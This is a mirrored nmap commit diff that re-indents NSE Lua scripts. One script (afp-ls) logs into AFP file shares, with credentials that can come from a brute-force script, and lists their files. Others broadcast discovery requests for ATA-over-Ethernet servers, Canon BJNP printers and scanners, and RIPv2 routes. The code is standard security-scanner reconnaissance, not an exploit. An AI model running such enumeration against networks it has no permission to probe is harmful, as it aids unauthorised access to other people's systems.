mirror of
https://github.com/nmap/nmap.git
synced 2025-12-07 21:21:31 +00:00
Re-indent some scripts. Whitespace-only commit
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -66,105 +66,105 @@ dependencies = {"afp-brute"}
|
||||
portrule = shortport.portnumber(548, "tcp")
|
||||
|
||||
local function createFileTable()
|
||||
local filetab = tab.new()
|
||||
local filetab = tab.new()
|
||||
|
||||
tab.add(filetab, 1, "PERMISSION")
|
||||
tab.add(filetab, 2, "UID")
|
||||
tab.add(filetab, 3, "GID")
|
||||
tab.add(filetab, 4, "SIZE")
|
||||
tab.add(filetab, 5, "TIME")
|
||||
tab.add(filetab, 6, "FILENAME")
|
||||
tab.nextrow(filetab)
|
||||
tab.add(filetab, 1, "PERMISSION")
|
||||
tab.add(filetab, 2, "UID")
|
||||
tab.add(filetab, 3, "GID")
|
||||
tab.add(filetab, 4, "SIZE")
|
||||
tab.add(filetab, 5, "TIME")
|
||||
tab.add(filetab, 6, "FILENAME")
|
||||
tab.nextrow(filetab)
|
||||
|
||||
return filetab
|
||||
return filetab
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local afpHelper = afp.Helper:new()
|
||||
local args = nmap.registry.args
|
||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
|
||||
local output = {}
|
||||
local afpHelper = afp.Helper:new()
|
||||
local args = nmap.registry.args
|
||||
local users = nmap.registry.afp or { ['nil'] = 'nil' }
|
||||
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
|
||||
local output = {}
|
||||
|
||||
if ( args['afp.username'] ) then
|
||||
users = {}
|
||||
users[args['afp.username']] = args['afp.password']
|
||||
end
|
||||
if ( args['afp.username'] ) then
|
||||
users = {}
|
||||
users[args['afp.username']] = args['afp.password']
|
||||
end
|
||||
|
||||
for username, password in pairs(users) do
|
||||
for username, password in pairs(users) do
|
||||
|
||||
local status, response = afpHelper:OpenSession(host, port)
|
||||
if ( not status ) then
|
||||
stdnse.print_debug(response)
|
||||
return
|
||||
end
|
||||
local status, response = afpHelper:OpenSession(host, port)
|
||||
if ( not status ) then
|
||||
stdnse.print_debug(response)
|
||||
return
|
||||
end
|
||||
|
||||
-- if we have a username attempt to authenticate as the user
|
||||
-- Attempt to use No User Authentication?
|
||||
if ( username ~= 'nil' ) then
|
||||
status, response = afpHelper:Login(username, password)
|
||||
else
|
||||
status, response = afpHelper:Login()
|
||||
end
|
||||
-- if we have a username attempt to authenticate as the user
|
||||
-- Attempt to use No User Authentication?
|
||||
if ( username ~= 'nil' ) then
|
||||
status, response = afpHelper:Login(username, password)
|
||||
else
|
||||
status, response = afpHelper:Login()
|
||||
end
|
||||
|
||||
if ( not status ) then
|
||||
stdnse.print_debug("afp-showmount: Login failed", response)
|
||||
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
|
||||
return
|
||||
end
|
||||
if ( not status ) then
|
||||
stdnse.print_debug("afp-showmount: Login failed", response)
|
||||
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
|
||||
return
|
||||
end
|
||||
|
||||
local vols
|
||||
status, vols = afpHelper:ListShares()
|
||||
status, vols = afpHelper:ListShares()
|
||||
|
||||
if status then
|
||||
for _, vol in ipairs( vols ) do
|
||||
local status, tbl = afpHelper:Dir( vol )
|
||||
if ( not(status) ) then
|
||||
return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
|
||||
end
|
||||
if status then
|
||||
for _, vol in ipairs( vols ) do
|
||||
local status, tbl = afpHelper:Dir( vol )
|
||||
if ( not(status) ) then
|
||||
return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
|
||||
end
|
||||
|
||||
local file_tab = createFileTable()
|
||||
local counter = maxfiles or 10
|
||||
for _, item in ipairs(tbl[1]) do
|
||||
if ( item and item.name ) then
|
||||
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
|
||||
if ( status ) then
|
||||
local status, fsize = afpHelper:GetFileSize( vol, item.name)
|
||||
if ( not(status) ) then
|
||||
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
|
||||
end
|
||||
local status, date = afpHelper:GetFileDates( vol, item.name)
|
||||
if ( not(status) ) then
|
||||
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
|
||||
end
|
||||
local file_tab = createFileTable()
|
||||
local counter = maxfiles or 10
|
||||
for _, item in ipairs(tbl[1]) do
|
||||
if ( item and item.name ) then
|
||||
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
|
||||
if ( status ) then
|
||||
local status, fsize = afpHelper:GetFileSize( vol, item.name)
|
||||
if ( not(status) ) then
|
||||
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
|
||||
end
|
||||
local status, date = afpHelper:GetFileDates( vol, item.name)
|
||||
if ( not(status) ) then
|
||||
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
|
||||
end
|
||||
|
||||
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
|
||||
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
|
||||
|
||||
counter = counter - 1
|
||||
end
|
||||
end
|
||||
if ( counter == 0 ) then break end
|
||||
end
|
||||
local result_part = { name = vol }
|
||||
table.insert(result_part, tab.dump(file_tab))
|
||||
table.insert(output, result_part)
|
||||
end
|
||||
end
|
||||
counter = counter - 1
|
||||
end
|
||||
end
|
||||
if ( counter == 0 ) then break end
|
||||
end
|
||||
local result_part = { name = vol }
|
||||
table.insert(result_part, tab.dump(file_tab))
|
||||
table.insert(output, result_part)
|
||||
end
|
||||
end
|
||||
|
||||
status, response = afpHelper:Logout()
|
||||
status, response = afpHelper:CloseSession()
|
||||
status, response = afpHelper:Logout()
|
||||
status, response = afpHelper:CloseSession()
|
||||
|
||||
-- stop after first succesfull attempt
|
||||
if ( output and #output > 0 ) then
|
||||
table.insert(output, "")
|
||||
table.insert(output, ("Information retrieved as: %s"):format(username))
|
||||
if ( maxfiles > 0 ) then
|
||||
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
return
|
||||
-- stop after first succesfull attempt
|
||||
if ( output and #output > 0 ) then
|
||||
table.insert(output, "")
|
||||
table.insert(output, ("Information retrieved as: %s"):format(username))
|
||||
if ( maxfiles > 0 ) then
|
||||
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
@@ -37,140 +37,140 @@ prerule = function() return true end
|
||||
-- The minimalistic ATAoE interface
|
||||
ATAoE = {
|
||||
|
||||
-- Supported commands
|
||||
Cmd = {
|
||||
QUERY_CONFIG_INFORMATION = 1,
|
||||
},
|
||||
-- Supported commands
|
||||
Cmd = {
|
||||
QUERY_CONFIG_INFORMATION = 1,
|
||||
},
|
||||
|
||||
Header = {
|
||||
-- creates a new Header instance
|
||||
new = function(self, cmd, tag)
|
||||
local o = {
|
||||
version = 1,
|
||||
flags = 0,
|
||||
major = 0xffff,
|
||||
minor = 0xff,
|
||||
error = 0,
|
||||
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
|
||||
tag = tag or createRandomTag(),
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
Header = {
|
||||
-- creates a new Header instance
|
||||
new = function(self, cmd, tag)
|
||||
local o = {
|
||||
version = 1,
|
||||
flags = 0,
|
||||
major = 0xffff,
|
||||
minor = 0xff,
|
||||
error = 0,
|
||||
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
|
||||
tag = tag or createRandomTag(),
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- parses a raw string of data and creates a new Header instance
|
||||
-- @return header new instance of header
|
||||
parse = function(data)
|
||||
local header = ATAoE.Header:new()
|
||||
local pos, verflags
|
||||
-- parses a raw string of data and creates a new Header instance
|
||||
-- @return header new instance of header
|
||||
parse = function(data)
|
||||
local header = ATAoE.Header:new()
|
||||
local pos, verflags
|
||||
|
||||
pos, verflags, header.error,
|
||||
header.major, header.minor,
|
||||
header.cmd, header.tag = bin.unpack(">CCSCCI", data)
|
||||
header.version = bit.rshift(verflags, 4)
|
||||
header.flags = bit.band(verflags, 0x0F)
|
||||
return header
|
||||
end,
|
||||
pos, verflags, header.error,
|
||||
header.major, header.minor,
|
||||
header.cmd, header.tag = bin.unpack(">CCSCCI", data)
|
||||
header.version = bit.rshift(verflags, 4)
|
||||
header.flags = bit.band(verflags, 0x0F)
|
||||
return header
|
||||
end,
|
||||
|
||||
-- return configuration info request as string
|
||||
__tostring = function(self)
|
||||
assert(self.tag, "No tag was specified in Config Info Request")
|
||||
local verflags = bit.lshift(self.version, 4)
|
||||
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
|
||||
end,
|
||||
},
|
||||
-- return configuration info request as string
|
||||
__tostring = function(self)
|
||||
assert(self.tag, "No tag was specified in Config Info Request")
|
||||
local verflags = bit.lshift(self.version, 4)
|
||||
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
|
||||
end,
|
||||
},
|
||||
|
||||
-- The Configuration Info Request
|
||||
ConfigInfoRequest = {
|
||||
new = function(self, tag)
|
||||
local o = {
|
||||
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- The Configuration Info Request
|
||||
ConfigInfoRequest = {
|
||||
new = function(self, tag)
|
||||
local o = {
|
||||
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
__tostring = function(self)
|
||||
return tostring(self.header)
|
||||
end,
|
||||
}
|
||||
__tostring = function(self)
|
||||
return tostring(self.header)
|
||||
end,
|
||||
}
|
||||
}
|
||||
|
||||
-- Creates a random AoE header tag
|
||||
function createRandomTag()
|
||||
local str = ""
|
||||
for i=1, 4 do str = str .. string.char(math.random(255)) end
|
||||
return select(2, bin.unpack(">I", str))
|
||||
local str = ""
|
||||
for i=1, 4 do str = str .. string.char(math.random(255)) end
|
||||
return select(2, bin.unpack(">I", str))
|
||||
end
|
||||
|
||||
-- Send a Config Info Request to the ethernet broadcast address
|
||||
-- @param iface table as returned by nmap.get_interface_info()
|
||||
local function sendConfigInfoRequest(iface)
|
||||
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
|
||||
local req = ATAoE.ConfigInfoRequest:new()
|
||||
local tag = req.tag
|
||||
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
|
||||
local req = ATAoE.ConfigInfoRequest:new()
|
||||
local tag = req.tag
|
||||
|
||||
local p = packet.Frame:new()
|
||||
p.mac_src = iface.mac
|
||||
p.mac_dst = packet.mactobin(ETHER_BROADCAST)
|
||||
p.ether_type = bin.pack(">S", P_ATAOE)
|
||||
p.buf = tostring(req)
|
||||
p:build_ether_frame()
|
||||
local p = packet.Frame:new()
|
||||
p.mac_src = iface.mac
|
||||
p.mac_dst = packet.mactobin(ETHER_BROADCAST)
|
||||
p.ether_type = bin.pack(">S", P_ATAOE)
|
||||
p.buf = tostring(req)
|
||||
p:build_ether_frame()
|
||||
|
||||
local dnet = nmap.new_dnet()
|
||||
dnet:ethernet_open(iface.device)
|
||||
dnet:ethernet_send(p.frame_buf)
|
||||
dnet:ethernet_close()
|
||||
local dnet = nmap.new_dnet()
|
||||
dnet:ethernet_open(iface.device)
|
||||
dnet:ethernet_send(p.frame_buf)
|
||||
dnet:ethernet_close()
|
||||
end
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
action = function()
|
||||
|
||||
local iname = nmap.get_interface()
|
||||
if ( not(iname) ) then
|
||||
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
local iname = nmap.get_interface()
|
||||
if ( not(iname) ) then
|
||||
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
|
||||
if ( not(nmap.is_privileged()) ) then
|
||||
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
if ( not(nmap.is_privileged()) ) then
|
||||
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
|
||||
local iface = nmap.get_interface_info(iname)
|
||||
if ( not(iface) ) then
|
||||
return fail("Failed to retrieve interface information")
|
||||
end
|
||||
local iface = nmap.get_interface_info(iname)
|
||||
if ( not(iface) ) then
|
||||
return fail("Failed to retrieve interface information")
|
||||
end
|
||||
|
||||
local pcap = nmap.new_socket()
|
||||
pcap:set_timeout(5000)
|
||||
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
|
||||
local pcap = nmap.new_socket()
|
||||
pcap:set_timeout(5000)
|
||||
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
|
||||
|
||||
sendConfigInfoRequest(iface)
|
||||
sendConfigInfoRequest(iface)
|
||||
|
||||
local result = {}
|
||||
repeat
|
||||
local status, len, l2_data, l3_data = pcap:pcap_receive()
|
||||
local result = {}
|
||||
repeat
|
||||
local status, len, l2_data, l3_data = pcap:pcap_receive()
|
||||
|
||||
if ( status ) then
|
||||
local header = ATAoE.Header.parse(l3_data)
|
||||
local f = packet.Frame:new(l2_data)
|
||||
f:ether_parse()
|
||||
if ( status ) then
|
||||
local header = ATAoE.Header.parse(l3_data)
|
||||
local f = packet.Frame:new(l2_data)
|
||||
f:ether_parse()
|
||||
|
||||
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
|
||||
stdnse.format_mac(f.mac_src),
|
||||
header.version,
|
||||
header.major,
|
||||
header.minor)
|
||||
table.insert(result, str)
|
||||
end
|
||||
until( not(status) )
|
||||
pcap:pcap_close()
|
||||
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
|
||||
stdnse.format_mac(f.mac_src),
|
||||
header.version,
|
||||
header.major,
|
||||
header.minor)
|
||||
table.insert(result, str)
|
||||
end
|
||||
until( not(status) )
|
||||
pcap:pcap_close()
|
||||
|
||||
if ( #result > 0 ) then
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
if ( #result > 0 ) then
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -44,131 +44,131 @@ local scanner_port = { number = 8612, protocol = "udp"}
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
|
||||
prerule = function()
|
||||
if ( nmap.address_family() ~= 'inet' ) then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if ( nmap.address_family() ~= 'inet' ) then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function identifyDevices(devices, devtype)
|
||||
local result
|
||||
local port = ( "printers" == devtype and printer_port or scanner_port )
|
||||
for _, ip in ipairs(devices or {}) do
|
||||
local helper = bjnp.Helper:new({ ip = ip }, port)
|
||||
if ( helper:connect() ) then
|
||||
local status, attrs
|
||||
if ( "printers" == devtype ) then
|
||||
status, attrs = helper:getPrinterIdentity()
|
||||
end
|
||||
if ( "scanners" == devtype ) then
|
||||
status, attrs = helper:getScannerIdentity()
|
||||
end
|
||||
if ( status ) then
|
||||
result = result or {}
|
||||
result[ip] = attrs
|
||||
end
|
||||
end
|
||||
helper:close()
|
||||
end
|
||||
return result
|
||||
local result
|
||||
local port = ( "printers" == devtype and printer_port or scanner_port )
|
||||
for _, ip in ipairs(devices or {}) do
|
||||
local helper = bjnp.Helper:new({ ip = ip }, port)
|
||||
if ( helper:connect() ) then
|
||||
local status, attrs
|
||||
if ( "printers" == devtype ) then
|
||||
status, attrs = helper:getPrinterIdentity()
|
||||
end
|
||||
if ( "scanners" == devtype ) then
|
||||
status, attrs = helper:getScannerIdentity()
|
||||
end
|
||||
if ( status ) then
|
||||
result = result or {}
|
||||
result[ip] = attrs
|
||||
end
|
||||
end
|
||||
helper:close()
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function identifyScanners(scanners)
|
||||
return identifyDevices(scanners, "scanners")
|
||||
return identifyDevices(scanners, "scanners")
|
||||
end
|
||||
|
||||
local function identifyPrinters(printers)
|
||||
return identifyDevices(printers, "printers")
|
||||
return identifyDevices(printers, "printers")
|
||||
end
|
||||
|
||||
local function getKeys(devices)
|
||||
local dupes = {}
|
||||
local function iter()
|
||||
for k, _ in pairs(devices) do
|
||||
for k2, _ in pairs(devices[k]) do
|
||||
if ( not(dupes[k2]) ) then
|
||||
dupes[k2] = true
|
||||
coroutine.yield(k2)
|
||||
end
|
||||
end
|
||||
end
|
||||
coroutine.yield(nil)
|
||||
end
|
||||
return coroutine.wrap(iter)
|
||||
local dupes = {}
|
||||
local function iter()
|
||||
for k, _ in pairs(devices) do
|
||||
for k2, _ in pairs(devices[k]) do
|
||||
if ( not(dupes[k2]) ) then
|
||||
dupes[k2] = true
|
||||
coroutine.yield(k2)
|
||||
end
|
||||
end
|
||||
end
|
||||
coroutine.yield(nil)
|
||||
end
|
||||
return coroutine.wrap(iter)
|
||||
end
|
||||
|
||||
local function getPrinters(devices)
|
||||
local condvar = nmap.condvar(devices)
|
||||
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
|
||||
if ( not(helper:connect()) ) then
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
local status, printers = helper:discoverPrinter()
|
||||
helper:close()
|
||||
if ( status ) then
|
||||
devices["printers"] = identifyPrinters(printers)
|
||||
end
|
||||
condvar "signal"
|
||||
local condvar = nmap.condvar(devices)
|
||||
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
|
||||
if ( not(helper:connect()) ) then
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
local status, printers = helper:discoverPrinter()
|
||||
helper:close()
|
||||
if ( status ) then
|
||||
devices["printers"] = identifyPrinters(printers)
|
||||
end
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
local function getScanners(devices)
|
||||
local condvar = nmap.condvar(devices)
|
||||
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
|
||||
if ( not(helper:connect()) ) then
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
local status, scanners = helper:discoverScanner()
|
||||
helper:close()
|
||||
if ( status ) then
|
||||
devices["scanners"] = identifyScanners(scanners)
|
||||
end
|
||||
condvar "signal"
|
||||
local condvar = nmap.condvar(devices)
|
||||
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
|
||||
if ( not(helper:connect()) ) then
|
||||
condvar "signal"
|
||||
return
|
||||
end
|
||||
local status, scanners = helper:discoverScanner()
|
||||
helper:close()
|
||||
if ( status ) then
|
||||
devices["scanners"] = identifyScanners(scanners)
|
||||
end
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
|
||||
action = function()
|
||||
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
|
||||
local devices, result, threads = {}, {}, {}
|
||||
local condvar = nmap.condvar(devices)
|
||||
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
|
||||
local devices, result, threads = {}, {}, {}
|
||||
local condvar = nmap.condvar(devices)
|
||||
|
||||
local co = stdnse.new_thread(getPrinters, devices)
|
||||
threads[co] = true
|
||||
local co = stdnse.new_thread(getPrinters, devices)
|
||||
threads[co] = true
|
||||
|
||||
co = stdnse.new_thread(getScanners, devices)
|
||||
threads[co] = true
|
||||
co = stdnse.new_thread(getScanners, devices)
|
||||
threads[co] = true
|
||||
|
||||
while(next(threads)) do
|
||||
for t in pairs(threads) do
|
||||
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
end
|
||||
while(next(threads)) do
|
||||
for t in pairs(threads) do
|
||||
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
end
|
||||
|
||||
for ip in getKeys(devices) do
|
||||
local result_part = {}
|
||||
local printer = ( devices["printers"] and devices["printers"][ip] )
|
||||
local scanner = ( devices["scanners"] and devices["scanners"][ip] )
|
||||
for ip in getKeys(devices) do
|
||||
local result_part = {}
|
||||
local printer = ( devices["printers"] and devices["printers"][ip] )
|
||||
local scanner = ( devices["scanners"] and devices["scanners"][ip] )
|
||||
|
||||
if ( printer ) then
|
||||
printer.name = "Printer"
|
||||
table.insert(result_part, printer)
|
||||
end
|
||||
if ( scanner ) then
|
||||
scanner.name = "Scanner"
|
||||
table.insert(result_part, scanner)
|
||||
end
|
||||
if ( #result_part > 0 ) then
|
||||
result_part.name = ip
|
||||
table.insert(result, result_part)
|
||||
end
|
||||
end
|
||||
if ( printer ) then
|
||||
printer.name = "Printer"
|
||||
table.insert(result_part, printer)
|
||||
end
|
||||
if ( scanner ) then
|
||||
scanner.name = "Scanner"
|
||||
table.insert(result_part, scanner)
|
||||
end
|
||||
if ( #result_part > 0 ) then
|
||||
result_part.name = ip
|
||||
table.insert(result, result_part)
|
||||
end
|
||||
end
|
||||
|
||||
if ( result ) then
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
if ( result ) then
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,134 +48,134 @@ prerule = function() return not( nmap.address_family() == "inet6") end
|
||||
|
||||
RIPv2 = {
|
||||
|
||||
Command = {
|
||||
Request = 1,
|
||||
Response = 2,
|
||||
},
|
||||
Command = {
|
||||
Request = 1,
|
||||
Response = 2,
|
||||
},
|
||||
|
||||
AddressFamily = {
|
||||
IP = 2,
|
||||
},
|
||||
AddressFamily = {
|
||||
IP = 2,
|
||||
},
|
||||
|
||||
-- The Request class contains functions to build a RIPv2 Request
|
||||
Request = {
|
||||
-- The Request class contains functions to build a RIPv2 Request
|
||||
Request = {
|
||||
|
||||
-- Creates a new Request instance
|
||||
--
|
||||
-- @param command number containing the RIPv2 Command to use
|
||||
-- @return o instance of request
|
||||
new = function(self, command)
|
||||
local o = {
|
||||
version = 2,
|
||||
command = command,
|
||||
domain = 0,
|
||||
family = 0,
|
||||
tag = 0,
|
||||
address = 0,
|
||||
subnet = 0,
|
||||
nexthop = 0,
|
||||
metric = 16
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new Request instance
|
||||
--
|
||||
-- @param command number containing the RIPv2 Command to use
|
||||
-- @return o instance of request
|
||||
new = function(self, command)
|
||||
local o = {
|
||||
version = 2,
|
||||
command = command,
|
||||
domain = 0,
|
||||
family = 0,
|
||||
tag = 0,
|
||||
address = 0,
|
||||
subnet = 0,
|
||||
nexthop = 0,
|
||||
metric = 16
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Converts the whole request to a string
|
||||
__tostring = function(self)
|
||||
assert(self.command, "No command was supplied")
|
||||
assert(self.metric, "No metric was supplied")
|
||||
assert(self.address, "No address was supplied")
|
||||
local RESERVED = 0
|
||||
-- RIPv2 stuff, should be 0 for RIPv1
|
||||
local tag, subnet, nexthop = 0, 0, 0
|
||||
-- Converts the whole request to a string
|
||||
__tostring = function(self)
|
||||
assert(self.command, "No command was supplied")
|
||||
assert(self.metric, "No metric was supplied")
|
||||
assert(self.address, "No address was supplied")
|
||||
local RESERVED = 0
|
||||
-- RIPv2 stuff, should be 0 for RIPv1
|
||||
local tag, subnet, nexthop = 0, 0, 0
|
||||
|
||||
local data = bin.pack(">CCSSSIIII",
|
||||
self.command, self.version, self.domain, self.family, self.tag,
|
||||
self.address, self.subnet, self.nexthop, self.metric)
|
||||
local data = bin.pack(">CCSSSIIII",
|
||||
self.command, self.version, self.domain, self.family, self.tag,
|
||||
self.address, self.subnet, self.nexthop, self.metric)
|
||||
|
||||
return data
|
||||
end,
|
||||
return data
|
||||
end,
|
||||
|
||||
},
|
||||
},
|
||||
|
||||
-- The Response class contains code needed to parse a RIPv2 response
|
||||
Response = {
|
||||
-- The Response class contains code needed to parse a RIPv2 response
|
||||
Response = {
|
||||
|
||||
-- Creates a new Response instance based on raw socket data
|
||||
--
|
||||
-- @param data string containing the raw socket response
|
||||
-- @return o Response instance
|
||||
new = function(self, data)
|
||||
local o = { data = data }
|
||||
-- Creates a new Response instance based on raw socket data
|
||||
--
|
||||
-- @param data string containing the raw socket response
|
||||
-- @return o Response instance
|
||||
new = function(self, data)
|
||||
local o = { data = data }
|
||||
|
||||
if ( not(data) or #data < 3 ) then
|
||||
return
|
||||
end
|
||||
local pos
|
||||
pos, o.command, o.version = bin.unpack(">CCS", data)
|
||||
if ( o.command ~= RIPv2 and o.version ~= 2 ) then
|
||||
return
|
||||
end
|
||||
if ( not(data) or #data < 3 ) then
|
||||
return
|
||||
end
|
||||
local pos
|
||||
pos, o.command, o.version = bin.unpack(">CCS", data)
|
||||
if ( o.command ~= RIPv2 and o.version ~= 2 ) then
|
||||
return
|
||||
end
|
||||
|
||||
local routes = tab.new(2)
|
||||
tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
|
||||
local routes = tab.new(2)
|
||||
tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
|
||||
|
||||
while( #data - pos >= 20 ) do
|
||||
local family, address, metric, _, netmask, nexthop
|
||||
pos, family, _, address, netmask, nexthop,
|
||||
metric = bin.unpack(">SS<III>I", data, pos)
|
||||
while( #data - pos >= 20 ) do
|
||||
local family, address, metric, _, netmask, nexthop
|
||||
pos, family, _, address, netmask, nexthop,
|
||||
metric = bin.unpack(">SS<III>I", data, pos)
|
||||
|
||||
if ( family == RIPv2.AddressFamily.IP ) then
|
||||
local ip = ipOps.fromdword(address)
|
||||
netmask = ipOps.fromdword(netmask)
|
||||
nexthop = ipOps.fromdword(nexthop)
|
||||
tab.addrow(routes, ip, netmask, nexthop, metric)
|
||||
end
|
||||
end
|
||||
if ( family == RIPv2.AddressFamily.IP ) then
|
||||
local ip = ipOps.fromdword(address)
|
||||
netmask = ipOps.fromdword(netmask)
|
||||
nexthop = ipOps.fromdword(nexthop)
|
||||
tab.addrow(routes, ip, netmask, nexthop, metric)
|
||||
end
|
||||
end
|
||||
|
||||
if ( #routes > 1 ) then o.routes = routes end
|
||||
if ( #routes > 1 ) then o.routes = routes end
|
||||
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function()
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
|
||||
timeout = (timeout or 5) * 1000
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
|
||||
timeout = (timeout or 5) * 1000
|
||||
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:set_timeout(timeout)
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:set_timeout(timeout)
|
||||
|
||||
local rip = RIPv2.Request:new(RIPv2.Command.Request)
|
||||
local status, err = socket:sendto("224.0.0.9",
|
||||
{ number = 520, protocol = "udp" },
|
||||
tostring(rip))
|
||||
local result = {}
|
||||
repeat
|
||||
local data
|
||||
status, data = socket:receive()
|
||||
if ( status ) then
|
||||
local status, _, _, rhost, _ = socket:get_info()
|
||||
local response = RIPv2.Response:new(data)
|
||||
table.insert(result, rhost)
|
||||
local rip = RIPv2.Request:new(RIPv2.Command.Request)
|
||||
local status, err = socket:sendto("224.0.0.9",
|
||||
{ number = 520, protocol = "udp" },
|
||||
tostring(rip))
|
||||
local result = {}
|
||||
repeat
|
||||
local data
|
||||
status, data = socket:receive()
|
||||
if ( status ) then
|
||||
local status, _, _, rhost, _ = socket:get_info()
|
||||
local response = RIPv2.Response:new(data)
|
||||
table.insert(result, rhost)
|
||||
|
||||
if ( response and response.routes and #response.routes > 0 ) then
|
||||
--response.routes.name = "Routes"
|
||||
table.insert(result, { tab.dump(response.routes) } )
|
||||
end
|
||||
if ( response and response.routes and #response.routes > 0 ) then
|
||||
--response.routes.name = "Routes"
|
||||
table.insert(result, { tab.dump(response.routes) } )
|
||||
end
|
||||
|
||||
end
|
||||
until( not(status) )
|
||||
end
|
||||
until( not(status) )
|
||||
|
||||
if ( #result > 0 ) then
|
||||
result.name = "Discovered RIPv2 devices"
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
